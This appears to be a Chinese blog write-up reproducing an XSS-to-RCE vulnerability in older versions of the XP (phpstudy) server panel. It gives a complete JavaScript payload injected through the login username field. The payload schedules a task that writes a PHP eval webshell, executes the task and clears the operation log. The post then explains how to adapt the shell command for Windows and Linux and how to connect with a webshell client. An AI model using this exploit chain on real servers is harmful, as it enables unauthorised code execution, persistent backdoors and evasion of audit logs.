小皮面板rce漏洞

  1. 适用版本

V1.02版本以下(新版已修补该漏洞)

  1. 复现

现在官网上的小皮面板,已经修复了该漏洞,所以已经无法用官网的版本来复现漏洞。(据我目前不成熟的测试感觉,它在用户名的输入上限制了字符数,所以所以我们的js代码无法写入)

小皮面板下载好后,会弹出这个文件,进入红框框住的网址,进行登录

先写个js弹窗代码试试它有没有xss漏洞,密码可以随便输入,但验证码必须输入正确,不然不会把用户名记录进去

这样就算是输入成功了,如果不放心,可以再输一次。

Ok,这下就用管理员账号正常登录

成功出现弹窗,说明存在xss漏洞。这时我们看看操作日志。

这就是我们当时登录时,所留下的记录,本来可以通过这个日志,知道有谁尝试登录过我们的小皮面板,但我们输入的js代码,会被它解析并运行,这就导致了xss漏洞。

然后我们可以利用这个xss漏洞向里面传入脚本,脚本代码为其中红字部分是要视情况而变的,具体怎么变后面再说。

function poc(){  $.get('/service/app/tasks.php?type=task_list',{},function(data){    var id=data.data[0].ID;    $.post('/service/app/tasks.php?type=exec_task',{      tid:id    },function(res2){        $.post('/service/app/log.php?type=clearlog',{                    },function(res3){},"json");                  },"json");  },"json");}function save(){  var data=new Object();  data.task_id="";  data.title="test";  data.exec_cycle="1";  data.week="1";  data.day="3";  data.hour="14"; data.minute="20";data.shell='echo^<?php@eval($_POST[123]);?^> >D:/xp.cn/www/wwwroot/admin/localhost_80/wwwroot/1.php';  $.post('/service/app/tasks.php?type=save_shell',data,function(res){    poc();  },'json');}save();

Ok,js代码我们也准备好了,那么要如何把他们传进去并执行它们呢?

首先我们要开启自己的网络端口,网上找的方法是用python开启某一端口,然后再把文件传过去。但也有简单的方法,我们可以用它们的软件——phpstudy

我们可以直接用它,只要把js文件放到相应目录下就行。之后在用户名栏输入

<script src=http://localhost/poc.js></script>

输入完后我们可以登录admin进去看看,这时我们能在计划任务栏看见我们传进去的脚本

 

这时基本上只要管理员用户登录成功后,这个脚本就应该会执行了。

之后我们只要用蚁剑连接就行了

到这里我们的复现就算完成了

但这时就要讲讲那两处要变化的地方了,虽然现在漏洞已经被修复了,但那两处还是能学到一些东西

Windows版小皮面板

'echo ^<?php @eval($_POST[shell]);?^> >D:/xp.cn/www/wwwroot/admin/localhost_80/wwwroot/1.php'

我们需要使用^作为转移字符这样他才能把>识别为一个字符而不是命令,后面的就是你放小皮面板的文件位置,其实按我在网上找的它在一句木马这里用的是双引号闭合<?php @eval($_POST[12]); ?>但之后我发现windows系统会把双引号同时写入文件中,但这是文件就成了一个字符串了,就无法让我们进行后面的事了。

linux版小皮面板

Linux也有不少规则,我们如果就按这种写法就会出现报错,不过我们却可以用双引号闭合,它只会把双引号所包含的数据写进文件中。但如果改成这样你很有可能会发现写入文件中的数据会没有$_POST这几个字符,因为$是Linux系统的变量符号,所以$_POST里的变量名要用双引号闭合,如果用单引号那$_POST就不会被写入文件中。但话是这么说,你也会发现如果这这么做这段起码要有三个不同闭合符,我没学过js所以不知道有没有”””  ”””这种方式,不过这也没关系,因为我们知道其实$_POST[]里面也有不用引号闭合的方式,那就是输入数字,变成$_POST[123],ok这下就修改完成了,后面在改改文件所在位置就行了,别文件传进去了,却访问不到木马文件。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值